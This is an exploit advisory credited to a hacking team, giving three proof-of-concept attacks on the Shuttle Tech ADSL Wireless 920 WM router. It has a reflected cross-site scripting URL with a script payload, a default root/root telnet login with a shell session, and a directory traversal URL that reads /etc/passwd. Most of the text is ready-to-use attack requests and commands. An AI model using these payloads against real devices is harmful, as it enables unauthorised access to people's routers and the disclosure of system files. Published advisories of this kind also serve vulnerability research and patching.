Shuttle Tech ADSL Wireless 920 WM XSS / Directory Traversal

`######################  
# Exploit Title : Shuttle Tech ADSL WIRELESS 920 WM - Cross Site Scripting  
# Version: Gan9.8U6X-B-TW-R1B020_1T1RP  
# Exploit Author : Persian Hack Team  
# Tested on [ Win ]  
# Date 2016/12/05  
######################  
#  
# PoC : First We Need To login To Panel And page Parameter Vulnerable to Cross Site Scripting  
# http://192.168.1.1/cgi-bin/webproc?getpage=html/index.html&var:menu=setup&var:page=%3Cscript%3Ealert%28%22c_C%22%29%3C/script%3E  
#  
######################  
# Exploit Title : Shuttle Tech ADSL WIRELESS 920 WM - Default Telnet Root Password  
# Version: Gan9.8U6X-B-TW-R1B020_1T1RP  
# Exploit Author : Persian Hack Team  
# Tested on: linux,windows  
# Date 2016/12/05  
######################  
#  
# PoC : Username:root Password:root  
  
telnet 192.168.1.1  
(none) login: root  
Password:root  
~ $ cat /proc/version  
Linux version 2.6.19 (dsl@crlinux) (gcc version 3.4.6-1.3.6) #3 Fri May 18 13:09:57 CST 2012  
  
######################  
# Exploit Title : Shuttle Tech ADSL WIRELESS 920 WM - Directory Traversal  
# Version: Gan9.8U6X-B-TW-R1B020_1T1RP  
# Exploit Author : Persian Hack Team  
# Tested on [ Win ]  
# Date 2016/12/05  
######################  
#  
# PoC : First We Need To login To Panel And getpage Parameter Vulnerable to Local File Disclosure  
# http://192.168.1.1/cgi-bin/webproc?getpage=../../../../etc/passwd&var:menu=setup&var:page=  
#  
######################  
# Discovered by : Mojtaba MobhaM Mail:[email protected]  
# B3li3v3 M3 I will n3v3r St0p  
# Greetz : T3NZOG4N & FireKernel And All Persian Hack Team Members And All Iranian Hackers  
# Homepage : http://persian-team.ir  
######################  
`